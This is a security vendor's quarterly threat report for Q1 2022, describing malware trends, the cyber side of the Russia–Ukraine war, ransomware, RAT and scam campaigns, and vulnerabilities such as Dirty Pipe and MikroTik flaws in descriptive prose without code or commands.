Normal view

There are new articles available, click to refresh the page.
Before yesterdayReverse Engineering

Avast Q1/2022 Threat Report

5 May 2022 at 06:04

Cyberwarfare between Ukraine and Russia

Foreword

The first quarter of 2022 is over, so we are here again to share insights into the threat landscape and what we’ve seen in the wild. Under normal circumstances, I would probably highlight mobile spyware related to the Beijing 2022 Winter Olympics, yet another critical Java vulnerability (Spring4Shell), or perhaps how long it took malware authors to get back from their Winter holidays to their regular operations. Unfortunately, however, all of this was overshadowed by Russia’s war in Ukraine.

Similar to what’s happening in Ukraine, the warfare co-occurring in cyberspace is also very intensive, with a wide range of offensive arsenal in use. To name a few, we witnessed multiple Russia-attributed APT groups attacking Ukraine (using a series of wiping malware and ransomware, a massive uptick of Gamaredon APT toolkit activity, and satellite internet connections were disrupted). In addition, hacktivism, DDoS attacks on government sites, or data leaks are ongoing daily on all sides of the conflict. Furthermore, some of the malware authors and operators were directly affected by the war, such as the alleged death of the Raccoon Stealer leading developer, which resulted in (at least temporary) discontinuation of this particular threat. Additionally, some malware gangs have chosen the sides in this conflict and have started threatening the others. One such example is the Conti gang that promised ransomware retaliation for cyberattacks against Russia. You can find more details about this story in this report.

With all that said, it is hardly surprising to say that we’ve seen a significant increase of attacks of particular malware types in countries involved in this conflict in Q1/2022; for example, +50% of RAT attacks were blocked in Ukraine, Russia, and Belarus, +30% for botnets, and +20% for info stealers. To help the victims of these attacks, we developed and released multiple free ransomware decryption tools, including one for the HermeticRansom that we discovered in Ukraine just a few hours before the invasion started.

Out of the other malware-related Q1/2022 news: the groups behind Emotet and Trickbot appeared to be working closely together, resurrecting Trickbot infected computers by moving them under Emotet control and deprecating Trickbot afterward. Furthermore, this report describes massive info-stealing campaigns in Latin America, large adware campaigns in Japan, and technical support scams spreading in the US and Canada. Finally, again, the Lapsus$ hacking group emerged with breaches in big tech companies, including Microsoft, Nvidia, and Samsung, but hopefully also disappeared after multiple arrests of its members in March.

Last but not least, we’ve published our discovery of the latest Parrot Traffic Direction System (TDS) campaign that has emerged in recent months and is reaching users from around the world. This TDS has infected various web servers hosting more than 16,500 websites.

Stay safe and enjoy reading this report.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections – Desktop-related threats, informing about our intelligence on attacks targeting Windows, Linux, and macOS, and Mobile-related threats, where we advise about Android and iOS attacks.

Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

Desktop-Related Threats

Advanced Persistent Threats (APTs)

In March, we wrote about an APT campaign targeting betting companies in Taiwan, the Philippines, and Hong Kong that we called Operation Dragon Castling. The attacker, a Chinese-speaking group, leveraged two different ways to gain a foothold in the targeted devices – an infected installer sent in a phishing email and a newly identified vulnerability in the WPS Office updater (CVE-2022-24934). After successful infection, the malware used a diverse set of plugins to achieve privilege escalation, persistence, keylogging, and backdoor access.

Operation Dragon Castling: relations between the malicious files

Furthermore, on February 23rd, a day before Russia started its invasion of Ukraine, ESET tweeted that they discovered a new data wiper called HermeticWiper. The attacker’s motivation was to destroy and maximize damage to the infected system. It’s not just disrupting the MBR but also destroying a filesystem and individual files. Shortly after that, we at Avast discovered a related piece of ransomware that we called HermeticRansom. You can find more on this topic in the Ransomware section below. These attacks are believed to have been carried out by Russian APT groups.  

Continuing this subject, Gamaredon is known as the most active Russia-backed APT group targeting Ukraine. We see the standard high level of activity of this APT group in Ukraine which accelerated rapidly since the beginning of the Russian invasion at the end of February when the number of their attacks grew several times over.

Gamaredon APT activity Q4/2021 vs. Q1/2022

Gamaredon APT targeting in Q1/22

We also noticed an increase in Korplug activity which expanded its focus from the more usual south Asian countries such as Myanmar, Vietnam, or Thailand to Papua New Guinea and Africa. The most affected African countries are Ghana, Uganda and Nigeria. As Korplug is commonly attributed to Chinese APT groups, this new expansion aligns with their long-term interest in countries involved in China’s Belt and Road initiative.

New Korplug detections in Africa and Papua New Guinea

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Jan Holman, Malware Researcher

Adware

Desktop adware has become more aggressive in Q4/21, and a similar trend persists in Q1/22, as the graph below illustrates:

On the other hand, there are some interesting phenomena in Q1/22. Firstly, Japan’s proportion of adware activity has increased significantly in February and March; see the graph below. There is also an interesting correlation with Emotet hitting Japanese inboxes in the same period.

On the contrary, the situation in Ukraine led to a decrease in the adware activity in March; see the graph below showing the adware activity in Ukraine in Q1/22.

Finally, another interesting observation concerns adware activity in major European countries such as France, Germany, and the United Kingdom. The graph below shows increased activity in these countries in March, deviating from the trend of Q1/22.

Concerning the top strains, most of 64% of adware was from various adware families. However, the first clearly identified family is RelevantKnowledge, although so far with a low prevalence (5%) but with a +97% increase compared to Q4/21. Other identified strains in percentage units are ICLoader, Neoreklami, DownloadAssistant, and Conduit.

As mentioned above, the adware activity has a similar trend as in Q4/21. Therefore the risk ratios remained the same. The most affected regions are still Africa and Asia. About Q1/22 data, we monitored an increase of protected users in Japan (+209%) and France (+87%) compared with Q4/21. On the other hand, a decrease was observed in the Russian Federation (-51%) and Ukraine (-50%).

Adware risk ratio in Q1/22.

Martin Chlumecký, Malware Researcher

Bots

It seems that we are on a rollercoaster with Emotet and Trickbot. Last year, we went through Emotet takedown and its resurrection via Trickbot. This quarter, shutdowns of Trickbot’s infrastructure and Conti’s internal communication leaks indicate that Trickbot has finished its swan song. Its developers were supposedly moved to other Conti projects, possibly also with BazarLoader as Conti’s new product. Emotet also introduced a few changes – we’ve seen a much higher cadence of new, unique configurations. We’ve also seen a new configuration timestamp in the log “20220404”, interestingly seen on 24th March, instead of the one we’ve been accustomed to seeing (“20211114”).

There has been a new-ish trend coming with the advent of the war in Ukraine. Simple Javascript code has been used to create requests to (mostly) Russian web pages – ranging from media to businesses to banks. The code was accompanied by a text denouncing Russian aggression in Ukraine in multiple languages. The code has quickly spread around the internet into different variations, such as a variant of open-sourced game 2048. Unfortunately, we’ve started to see webpages that incorporated that code without even declaring it so it could even happen that your computer would participate in those actions while you were checking the weather on the internet. While these could remind us of Anonymous DDoS operations and LOIC (open-source stress tool Low Orbit Ion Cannon), these pages were much more accessible to the public using their browser only with (mostly) predetermined lists of targets. Nearing the end of March, we saw a significant decline in their popularity, both in terms of prevalence and the appearance of new variants.

The rest of the landscape does not bring many surprises. We’ve seen a significant risk increase in Russia (~30%) and Ukraine (~15%); those shouldn’t be much of a surprise, though, for the latter, it mostly does not project much into the number of affected clients.

In terms of numbers, the most prevalent strain was Emotet which doubled its market share since last quarter. Since the previous quarter, most of the other top strains slightly declined their prevalence. The most common strains we are seeing are:

  • Emotet
  • Amadey
  • Phorpiex
  • MyloBot
  • Nitol
  • MyKings
  • Dorkbot
  • Tofsee
  • Qakbot

Adolf Středa, Malware Researcher

Coinminers

Coincidently, as the cryptocurrency prices are somewhat stable these days, the same goes for the malicious coinmining activity in our user base.

In comparison with the previous quarter, crypto-mining threat actors increased their focus on Taiwan (+69%), Chile (+63%), Thailand (+61%), Malawi (+58%), and France (+58%). This is mainly caused by the continuous and increasing trend of using various web miners executing javascript code in the victim’s browser. On the other hand, the risk of getting infected significantly dropped in Denmark (-56%) and Finland (-50%).

The most common coinminers in Q1/22 were:

  • XMRig
  • NeoScrypt
  • CoinBitMiner
  • CoinHelper

Jan Rubín, Malware Researcher

Information Stealers

The activities of Information Stealers haven’t significantly changed in Q1/22 compared to Q4/21. FormBook, AgentTesla, and RedLine remain the most prevalent stealers; in combination, they are accountable for 50% of the hits within the category. 

Activity of Information Stealers in Q1/22.

We noticed the regional distribution has completely shifted compared to the previous quarter. In Q4/21, Singapore, Yemen, Turkey, and Serbia were the countries most affected by information stealers; in Q1/22, Russia, Brazil, and Argentina rose to the top tier after the increases in risk ratio by 27% (RU), 21% (BR), and 23% (AR) compared to the previous quarter.

Not only a popular destination for information stealers, Latin America also houses many regional-specific stealers capable of compromising victims’ banking accounts. As the underground hacking culture continues to develop in Brazil, these threat groups target their fellow citizens for financial purposes. In Brazil, Ousaban and Chaes pose the most significant threats with more than 100k and 70k hits. In Mexico in Q1/22, we observed more than 34k hits from Casbaneiro. A typical pattern shared between these groups is the multiple-stage delivery chain utilizing scripting languages to download and deploy the next stage’s payload while employing DLL sideloading techniques to execute the final stage.

Furthermore, Raccoon Stealer, an information stealer with Russian origins, significantly decreased in activity since March. Further investigation uncovered messages on Russian underground forums advising that the Raccoon group is not working anymore. A few days after the messages were posted, a Raccoon representative said one of their members died in the Ukrainian War – they have paused operations and plan to return in a few months with a new product.

Next, a macOS malware dubbed DazzleSpy was found using watering hole attacks targeting Chinese pro-democracy sympathizers; it was primarily active in Asia. This backdoor can control macOS remotely, execute arbitrary commands, and download and upload files to attackers, thus enabling keychain stealing, key-logging, and potential screen capture.

Last but not least, more malware that natively runs on M1 Apple chips (and Intel hardware) has been found. The malware family, SysJoker, targets all desktop platforms (Linux, Windows, and macOS); the backdoor is controlled remotely and allows downloading other payloads and executing remote commands.

Anh Ho, Malware Researcher
Igor Morgenstern, Malware Researcher
Vladimir Martyanov, Malware Researcher
Vladimír Žalud, Malware Analyst

Ransomware

We’ve previously reported a decline in the total number of ransomware attacks in Q4/21. In Q1/22, this trend continued with a further slight decrease. As can be seen on the following graph, there was a drop at the beginning of 2022; the number of ransomware attacks has since stabilized.

We believe there are multiple reasons for these recent declines – such as the geopolitical situation (discussed shortly) and the continuation of the trend of ransomware gangs focusing more on targeted attacks on big targets (big game hunting) rather than on regular users via the spray and pray techniques. In other words, ransomware is still a significant threat, but the attackers have slightly changed their targets and tactics. As you will see in the rest of this section, the total numbers are lower, but there was a lot ongoing regarding ransomware in Q1.

Based on our telemetry, the distribution of targeted countries is similar to Q4/21 with some Q/Q shifts, such as Mexico (+120% risk ratio), Japan (+37%), and India (+34%).

The most (un)popular ransomware strains – STOP and WannaCry – kept their position at the top. Operators of the STOP ransomware keep releasing new variants, and the same applies for the CrySiS ransomware. In both cases, the ransomware code hasn’t considerably evolved, so a new variant merely means a new extension of encrypted files, different contact e-mail and a different public RSA key.

The most prevalent ransomware strains in Q1/22:

  • WannaCry
  • STOP
  • VirLock
  • GlobeImposter
  • Makop

Out of the groups primarily focused on targeted attacks, the most active ones based on our telemetry were LockBit, Conti, and Hive. The BlackCat (aka ALPHV) ransomware was also on the rise. The LockBit group boosted their presence and also their egos, as demonstrated by their claim that they will pay any FBI agent that reveals their location a bounty of $1M. Later, they expanded that offer to any person on the planet.

You may also recall Sodinokibi (aka REvil), which is regularly mentioned in our threat reports. There is always something interesting around this ransomware strain and its operators with ties to Russia. In our Q4/21 Threat Report we informed about the arrests of some of its operators by Russian authorities. Indeed, this resulted in Sodinokibi almost vanishing from the threat landscape in Q1/2022. However, the situation got messy at the very end of Q1/2022 and early in April as new Sodinokibi indicators started appearing, including the publishing of new leaks from ransomed companies and malware samples. It is not yet clear whether this is a comeback, an imposter operation, reused Sodinokibi sources or infrastructure, or even their combination by multiple groups. Our gut feeling is that Sodinokibi will be a topic in the Q2/22 Threat Report once again.

Russian ransomware affiliates are a never-ending story. E.g. we can mention an interesting public exposure of a criminal dubbed Wazawaka with ties to Babuk, DarkSide, and other ransomware gangs in February. In a series of drunk videos and tweets he revealed much more than his missing finger.

The Russian invasion and following war on Ukraine, the most terrible event in Q1/22, had its counterpart in cyber-space. Just one day before the invasion, several cyber attacks were detected. Shortly after the discovery of HermeticWiper malware by ESET, Avast also discovered ransomware attacking Ukrainian targets. We dubbed it HermeticRansom. Shortly after, a flaw in the ransomware was found by CrowdStrike analysts. We acted swiftly and released a free decryptor to help victims in Ukraine. Furthermore, the war impacted ransomware attacks, as some of the ransomware authors and affiliates are from Ukraine and likely have been unable to carry out their operations due to the war.

And the cyber-war went on, together with the real one. A day after the start of the invasion, the Conti ransomware gang claimed its allegiance and threatened anyone who was considering organizing a cyber-attack or war activities against Russia:

As a reaction, a Ukrainian researcher started publishing internal files of the Conti gang, including Jabber conversations and the source code of the Conti ransomware itself. However, no significant amount of encryption keys were leaked. Also, the sources that were published were older versions of the Conti ransomware, which no longer correspond to the layout of the encrypted files that are created by today’s version of the ransomware. The leaked files and internal communications provide valuable insight into this large cybercrime organization, and also temporarily slowed down their operations.

Among the other consequences of the Conti leak, the published source codes were soon used by the NB65 hacking group. This gang declared a karmic war on Russia and used one of the modified sources of the Conti ransomware to attack Russian targets.

Furthermore, in February, members of historically one of the most active (and successful) ransomware groups, Maze, announced a shut-down of their operation. They published master decryption keys for their ransomware strains Maze, Egregor, and Sekhmet; four archive files were published that contained:

  • 19 private RSA-2048 keys for Egregor ransomware. Egregor uses a three-key encryption schema (Master RSA Key → Victim RSA Key → Per-file Key).
  • 30 private RSA-2048 keys (plus 9 from old version) for Maze ransomware. Maze also uses a three-key encryption scheme.
  • A single private RSA-2048 key for Sekhmet ransomware. Because this strain uses this RSA key to encrypt the per-file key, the RSA private key is likely campaign specific.
  • A source code for the M0yv x86/x64 file infector, that was used by Maze operators in the past.

Next, an unpleasant turn of events happened after we released a decryptor for the TargetCompany ransomware in February. This immediately helped multiple ransomware victims; however, two weeks later, we discovered a new variant of TargetComany that started using the ”.avast” extension for encrypted files. Shortly after, the malware authors changed the encryption algorithm, so our free decryption tool does not decrypt the most recent variant.

On the bright side, we also analyzed multiple variants of the Prometheus ransomware and released a free decryptor. This one covers all decryptable variants of the ransomware strain, even the latest ones.

Jakub Křoustek, Malware Research Director
Ladislav Zezula, Malware Researcher

Remote Access Trojans (RATs)

New year, new me RAT campaigns. As mentioned in the Q4/21 report, the RAT activity downward trend will be just temporary; the reality was a textbook example of this claim. Even malicious actors took holidays at the beginning of the new year and then returned to work.

In the graph below, we can see a Q4/21 vs. Q1/22 comparison of RAT activity:

This quarter’s countries most affected were China, Tajikistan, Kyrgyzstan, Iraq, Kazakhstan, and Russia. Kazakhstan will be mentioned later on with the emergence of a new RAT. We also detected a high Q/Q increase in the risk ratio in countries involved in the ongoing war: Ukraine (+54%), Russia (+53%), and Belarus (+46%).

In this quarter, we spotted a new campaign distributing several RATs, reaching thousands of users, mainly in Italy (1,900), Romania (1,100), and Bulgaria (950). The campaign leverages a Crypter (a crypter is a specific tool used by malware authors for obfuscation and protection of the target payload), which we call Rattler, that ensures a distribution of arbitrary malware onto the victim’s PC. Currently, the crypter primarily distributes remote access trojans, focusing on Warzone, Remcos, and NetWire. Warzone’s main targeting campaigns also seemed to change during the past three months. In January and February, we received a considerable amount of detections from Russia and Ukraine. Still, this trend reversed in March, with decreased detections in these two countries and a significant increase in Spain, indicating a new malicious campaign.

Most prevalent RATs in Q1 were:

  • njRAT
  • Warzone
  • Remcos
  • AsyncRat
  • NanoCore
  • NetWire
  • QuasarRAT
  • PoisionIvy
  • Adwind
  • Orcus

Among malicious families with the highest increase in detections were Lilith, LuminosityLink, and Gh0stCringe. One of the reasons for the Gh0stCringe increase is a malicious campaign in which this RAT spread on poorly protected MySQL and Microsoft SQL database servers. We have also witnessed a change in the first two places of the most prevalent RATs. In Q4/21, the most pervasive was Warzone which declined this quarter by 23%. The njRat family, on the other hand, increased by 32%, and what was surprising, Adwind entered into the top 10.

Except for the usual malicious campaigns, this quarter was different. There were two significant causes for this. The first was a Lapsus$ hacking and leaking spree, and the other was the war with Ukraine.

The hacking group Lapsus$ targeted many prominent technology companies like Nvidia, Samsung, and Microsoft. For example, in the NVIDIA Lapsus$ case, this hacking group stole about 1TB of NVIDIA’s data and then commenced to leak it. The leaked data contained binary signing certificates, which were later used for signing malicious binaries. Among such signed malware was, for example, the Quasar RAT.

Then there was the conflict in Ukraine, which showed the power of information technology and the importance of cyber security – because the fight happens not only on the battlefield but also in cyberspace, with DDOS attacks, data-stealing, exploitation, cyber espionage, and other techniques. But except for these countries involved in the war, everyday people looking for information are easy targets of malicious campaigns. One such campaign involved sending email messages with attached office documents that allegedly contained important information about the war. Unfortunately, these documents were just a way to infect people with Remcos RAT with the help of Microsoft Word RCE vulnerability CVE-2017-11882, thanks to which the attacker could easily infect unpatched systems.

As always, not only old known RATs showed up. This quarter brought us a few new ones as well. The first addition to our RAT list was IceBot. This RAT seems to be a creation of the APT group FIN7; it contains all usual basic capabilities as other RATs like taking screenshots, remote code execution, file transfer, and detection of installed AV.

Another one is Hodur. This RAT is a variant of PlugX (also known as Korplug), associated with Chinese APT organizations. Hodur differed, using a different encoding, configuration capabilities, and  C&C commands. This RAT allows attackers to log keystrokes, manipulate files, fingerprint the system and more.

We mentioned that Kazakhstan is connected to a new RAT on this list. That RAT is called Borat RAT. The name is taken from the popular comedy film Borat where the main character Borat Sagdijev, performed by actor Sacha Baron Cohen, was presented as a Kazakh visiting the USA. Did you know that in reality the part of the film that should represent living in Kazakhstan village wasn’t even filmed there but in the Romanian village of Glod?

This RAT is a .NET binary and uses simple source-code obfuscation. The Borat RAT was initially discovered on hacking forums and contains many capabilities. Some features include triggering BSOD, anti-sandbox, anti-VM, password stealing, web-cam spying, file manipulation and more. As well as these baked-in features, it enables extensive module functionality. These modules are DLLs that are downloaded on demand, allowing the attackers to add multiple new capabilities. The list of currently available modules contains files “Ransomware.dll” used for encrypting files, “Discord.dll” for stealing Discord tokens, and many more.

Here you can see an example of the Borat RAT admin panel. 

We also noticed that the volume of Python compiled and Go programming language ELF binaries for Linux increased this quarter. The threat actors used open source RAT projects (i.e. Bring Your Own Botnet or Ares) and legitimate services (e.g. Onion.pet, termbin.com or Discord) to compromise systems. We were also one of the first to protect users against Backdoorit and Caligula RATs; both of these malware families were written in Go and captured in the wild by our honeypots.

Samuel Sidor, Malware Researcher
Jan Rubín, Malware Researcher
David Àlvarez, Malware Researcher

Rootkits

In Q1/22,  rootkit activity was reduced compared to the previous quarter, returning to the long-term value, as illustrated in the chart below.

The close-up view of Q1/22 demonstrates that January and February have been more active than the March period.

We have monitored various rootkit strains in Q1/22. However, we have identified that approx. 37% of rootkit activity is r77-Rootkit (R77RK) developed by bytecode77 as an open-source project under the BSD license. The rootkit operates in Ring 3 compared to the usual rootkits that work in Ring 0. R77RK is a configurable tool hiding files, directories, scheduled tasks, processes, services, connections, etc. The tool is compatible with Windows 7 and Windows 10. The consequence is that R77RK was captured with several different types of malware as a supporting library for malware that needs to hide malicious activity.

The graph below shows that China is still the most at-risk country in terms of protected users. Moreover, the risk in China has increased by about +58%, although total rootkit activity has been orders of magnitude lower compared to Q4/21. This phenomenon is caused by the absence of the Cerbu rootkit that was spread worldwide, so the main rootkit activity has moved back to China. Namely, the decrease in the rootkit activity has been observed in the countries as follows: Vietnam, Thailand, the Czech Republic, and Egypt.

In summary, the situation around the rootkit activity seems calmer compared to Q4/21, and China is still the most affected country in Q1/22. Noteworthy, the war in Ukraine has not increased the rootkit activity. Numerous malware authors have started using open-source solutions of rootkits, although these are very well detectable.

Martin Chlumecký, Malware Researcher

Technical support scams

After quite an active Q4/21 that overlapped with the beginning of Q1/22, technical support scams started to decline in inactivity. There were some small peaks of activity, but the significant wave of one particular campaign came at the end of Q1/22.

According to our data, the most targeted countries were the United States and Canada. However, we’ve seen instances of this campaign active even in other areas, like Europe, for example, France and Germany.

The distinctive sign of this campaign was the lack of a domain name and a specific path; this is illustrated in the following image.

During the beginning of March, we collected thousands of new unique domain-less URLs that have one significant and distinctive sign, their url path. After being redirected, an affected user loads a web page with a well-known recycled appearance, used in many previous technical support campaigns. In addition, several pop-up windows, the logo of well-known companies, antivirus-like messaging, cursor manipulation techniques, and even sounds are all there for one simple reason: a phone call to the phone number shown.

More than twenty different phone numbers have been used. Examples of such numbers can be seen in the following table:

1-888-828-5604
1-888-200-5532
1-877-203-5120
1-888-770-6555
1-855-433-4454
1-833-576-2199
1-877-203-9046
1-888-201-5037
1-866-400-0067
1-888-203-4992

Alexej Savčin, Malware Analyst

Traffic Direction System (TDS)

A new Traffic Direction System (TDS) we are calling Parrot TDS was very active throughout Q1/2022. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.

Parrot TDS acts as a gateway for other malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.

From March 1, 2022, to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. We protected the most in Brazil – over  73,000 individual users, in India – nearly 55,000 unique users, and more than 31,000 unique users from the US.

Map illustrating the countries Parrot TDS has targeted (in March)

Jan Rubín, Malware Researcher
Pavel Novák, Threat Operations Analyst

Vulnerabilities and Exploits

Spring in Europe has had quite a few surprises for us, one of them being a vulnerability in a Java framework called, ironically, Spring. The vulnerability is called Spring4Shell (CVE-2022-22963), mimicking the name of last year’s Log4Shell vulnerability. Similarly to Log4Shell, Spring4Shell leads to remote code execution (RCE). Under specific conditions, it is possible to bind HTTP request parameters to Java objects. While there is a logic protecting classLoader from being used, it was not foolproof, which led to this vulnerability. Fortunately, the vulnerability requires a non-default configuration, and a patch is already available.

The Linux kernel had its share of vulnerabilities; a vulnerability was found in pipes, which usually provide unidirectional interprocess communication, that can be exploited for local privilege escalation. The vulnerability was dubbed Dirty Pipe (CVE-2022-0847). It relies on the usage of partially uninitialized memory of the pipe buffer during its construction, leading to an incorrect value of flags, potentially providing write-access to pages in the cache that were originally marked with a read-only attribute. The vulnerability is already patched in the latest kernel versions and has already been fixed in most mainstream Linux distributions.

First described by Trend Micro researchers in 2019, the SLUB malware is a highly targeted and sophisticated backdoor/RAT spread via browser exploits. Now, three years later, we detected its new exploitation attack, which took place in Japan and targeted an outdated Internet Explorer.

The initial exploit injects into winlogon.exe, which will, in turn, download and execute the final stage payload. The final stage did not change much since the initial report, and it still uses Slack as a C&C server but now uses file[.]io for data exfiltration.

This is an excellent example that old threats never really go away; they often continue to evolve and pose a threat.

Adolf Středa, Malware Researcher
Jan Vojtěšek, Malware Reseracher

Mikrotik CVEs keep giving

It’s been almost four years since the very severe vulnerability CVE-2018-14847 targeting MikroTik devices first appeared. What seemed to be yet another directory traversal bug quickly escalated into user database and password leaks, resulting in a potentially disastrous vulnerability ready to be misused by cybercriminals. Unfortunately, the simplicity of exploiting and wide adoption of these devices and powerful features provided a solid foundation for various malicious campaigns being executed using these devices. It first started with injecting crypto mining javascript into pages script by capturing the traffic, poisoning the DNS cache, and incorporating these devices into botnets for DDoS and proxy purposes.  

Unfortunately, these campaigns come in waves, and we still observe MikroTik devices being misused repeatedly. In Q1/22, we’ve seen a lot of exciting twists and turns, the most prominent of which was probably the Conti group leaks which also shed light on the TrickBot botnet. For quite some time, we knew that TrickBot abused MikroTik devices as proxy servers to hide the next tier of their C&C. The leaking of Conti and Trickbot infrastructure meant the end of this botnet. However, it also provided us clues and information about one of the vastest botnets as a service operation connecting Glupteba, Meris, crypto mining campaigns, and, perhaps also, TrickBot. We are talking about 230K devices controlled by one threat actor and rented out as a service. You can find more in our research Mēris and TrickBot standing on the shoulders of giants

A few days before we published our research in March, a new story emerged describing the DDoS campaign most likely tied to the Sodinokibi ransomware group. Unsurprisingly most of the attacking devices were MikroTik again. A few days ago, we were contacted by security researchers from SecurityScoreCard. They have observed another DDoS botnet called Zhadnost targeting Ukrainian institutions and again using MikroTik devices as an amplification vector. This time, they were mainly misusing DNS amplification vulnerabilities. 

We also saw one compelling instance of a network security incident potentially involving MikroTik routers. In the infamous cyberattack on February 24th against the Viasat KA-SAT service, attackers penetrated the management segment of the network and wiped firmware from client terminal devices.

The incident surfaced more prominently after the cyberattack paralyzed 11 gigawatts of German wind turbine production as a probable spill-over from the KA-SAT issue. The connectivity for turbines is provided by EuroSkyPark, one of the satellite internet providers using the KA-SAT network.

When we analyzed ASN AS208484, an autonomous system assigned to EuroSkyPark, we found 15 MikroTik devices with exposed TCP port 8728, which is used for API access to administer the devices. Also of concern, one of the devices had a port for an infamously vulnerable WinBox protocol port exposed to the Internet. As of now, all mentioned ports are closed and no longer accessible.

We also found SSH access remapped to non-standard ports such as 9992 or 9993. This is not typically common practice and may also indicate compromise. Attackers have been known to remap the ports of standard services (such as SSH) to make it harder to detect or even for the device owner to manage. However, this could also be configured deliberately for the same reason: to hide SSH access from plain sight.

CVE-2018-14847 vulnerable devices in percent by country

From all the above, it’s apparent that we can expect to see similar patterns and DDoS attacks carried not only by MikroTik devices but also by other vulnerable IoT devices in the foreseeable future. On a positive note, the number of MikroTik devices vulnerable to the most commonly misused CVEs is slowly decreasing as new versions of RouterOS (OS that powers the MikroTik appliances) are rolled out. Unfortunately, however, there are many devices already compromised, and without administrative intervention, they will continue to be used for malicious operations repeatedly. 

We strongly recommend that MikroTik administrators ensure they have updated and patched to protect themselves and others.  


If you are a researcher and you think you have seen MikroTik devices involved in some malicious activity, please consider contacting us if you need help or consultation; since 2018, we have built up a detailed understanding of these devices’ threat landscape.

Router OS major version 7 and above adoption

Martin Hron, Malware Researcher

Web skimming

In Q1/22, the most prevalent web skimming malicious domain was naturalfreshmall[.]com, with more than 500 e-commerce sites infected. The domain itself is no longer active, but many websites are still trying to retrieve malicious content from it. Unfortunately, it means that administrators of these sites still have not removed malicious code and these sites are likely still vulnerable. Avast protected 44k users from this attack in the first quarter.

The heatmap below shows the most affected countries in Q1/22 – Saudi Arabia, Australia, Greece, and Brazil. Compared to Q4/21, Saudi Arabia, Australia and Greece stayed at the top, but in Brazil, we protected almost two times more users than in the previous quarter. However, multiple websites were infected in Brazil, some with the aforementioned domain naturalfreshmall[.]com. In addition, we tweeted about philco.com[.]br, which was infected with yoursafepayments[.]com/fonts.css. And last but not least, pernambucanas.com[.]br was also infected with malicious javascript hidden in the file require.js on their website.

Overall the number of protected users remains almost the same as in Q4/21.

Pavlína Kopecká, Malware Analyst

Mobile-Related Threats

Adware/HiddenAds

Adware maintains its dominance over the Android threat landscape, continuing the trend from previous years. Generally, the purpose of Adware is to display out-of-context advertisements to the device user, often in ways that severely impact the user experience. In Q1/22, HiddenAds, FakeAdblockers, and others have spread to many Android devices; these applications often display device-wide advertisements that overlay the user’s intended activity or limit the app’s functionality by displaying timed ads without the ability to skip them.

Adware comes in various configurations; one popular category is stealthy installation. Such apps share common features that make them difficult for the user to identify. Hiding their application's icon from the home screen is a common technique, and using blank application icons to mask their presence. The user may struggle to identify the source of the intrusive advertisements, especially if the applications have an in-built delay timer after which they display the ads. Another Adware tactic is to use in-app advertisements that are overly aggressive, sometimes to the extent that they make the original app’s intended functionality barely usable. This is common, especially in games, where timed ads are often shown after each completed level; frequently, the ad screen time greatly exceeds the time spent playing the game.

The Google Play Store has previously been used to distribute malware, but recently, actors behind these applications have changed tactics to use browser pop-up windows and notifications to spread the Adware. These are intended to trick users into downloading and installing the application, often disguised as games, ad blockers, or various utility tools. Therefore, we strongly recommend that users avoid installing applications from unknown sources and be on the lookout for malicious browser notifications.

According to our data, India, the Middle East, and South America are the most affected regions. But Adware is not strictly limited to these regions; it’s prevalent worldwide.

As can be seen from the graph below, Adware’s presence in the mobile sphere has remained dominant but relatively unchanged. Of course, there’s slight fluctuation during each quarter, but there have been no stand-out new strains of Adware as of late.

Bankers

In Q1/2022, some interesting shifts were observed in the banking malware category. With Cerberus/Alien and its clones still leading the scoreboard by far, the battle for second place has seen a jump, where Hydra replaced the previously significant threats posed by FluBot. Additionally, FluBot has been on the decline throughout Q1..

Different banker strains have been reported to use the same distribution channels and branding, which we can also confirm observing. Many banking threats now reuse the proven techniques of masquerading as delivery services, parcel tracking apps, or voicemail apps.

After the departure of FluBot from the scene, we observed an overall slight drop in the number of affected users, but this seems only to be returning to the numbers we’ve observed in the last year, just before FluBot took the stage.

Most targeted countries remain to be Turkey, Spain and Australia.

PremiumSMS/Subscription scams

While PremiumSMS/Subscription related threats may not be as prevalent as in the previous years, they are certainly not gone for good. As reported in the Q4/21 report, a new wave of premium subscription-related scams keeps popping up. Campaigns such as GriftHorse or UltimaSMS made their rounds last year, followed by yet another similar campaign dubbed DarkHerring

The main distribution channel for these seems to be Google Play, but they have also been observed being downloaded from alternative channels. Similar to before, this scam preys on the mobile operator’s subscription scheme, where an unsuspecting user is lured into giving out their phone number. The number is later used to register the victim to a premium subscription service. This can go undetected for a long time, causing the victim significant monetary loss due to the stealthiness of the subscription and hassle related to canceling such a subscription.

While the primary target of these campaigns seems to remain the same as in Q4/21 – targeting the Middle East, countries like Iraq, Jordan, but also Saudi Arabia, and Egypt – the scope has broadened and now includes various Asian countries as well – China, Malaysia and Vietnam amongst the riskiest ones.

As can be seen from the quarterly comparisons in the graph below, the spikes of activity of the respective campaigns are clear, with UltimaSMS and Grifthorse causing the spike in Q4/21. Darkherring is behind the Q1/22 spike.

Ransomware/Lockers

Ransomware apps and Lockers that target the Android ecosystem often attempt to ‘lock’ the user’s phone by disabling the navigation buttons and taking over the Android lock screen to prevent the user from interacting with the device and removing the malware. This is commonly accompanied by a ransom message requesting payment to the malware owner in exchange for unlocking the device.

Among the most prevalent Android Lockers seen in Q1/22 were Jisut, Pornlocker, and Congur. These are notorious for being difficult to remove and, in some cases, may require a factory reset of the phone. Some versions of lockers may even attempt to encrypt the user’s files; however, this is not frequently seen due to the complexity of encrypting files on Android devices.

The threat actors responsible for this malware generally rely on spreading through the use of third party app stores, game cheats, and adult content applications.

A common infection technique is to lure users through popular internet themes and topics – we strongly recommend that users avoid attempting to download game hacks and mods and ensure that they use reputable websites and official app stores.

In Q1/22, we’ve seen spikes in this category, mainly related to the Pornlocker family – apps masquerading as adult content providers – and were predominantly targeting users in Russia.

In the graph above, we can see the spike caused by the Pornlocker family in Q1/22.

Ondřej David, Malware Analysis Team Lead
Jakub Vávra, Malware Analyst

Acknowledgements / Credits

Malware researchers
  • Adolf Středa
  • Alexej Savčin
  • Anh Ho
  • David Álvarez
  • Igor Morgenstern
  • Jakub Křoustek
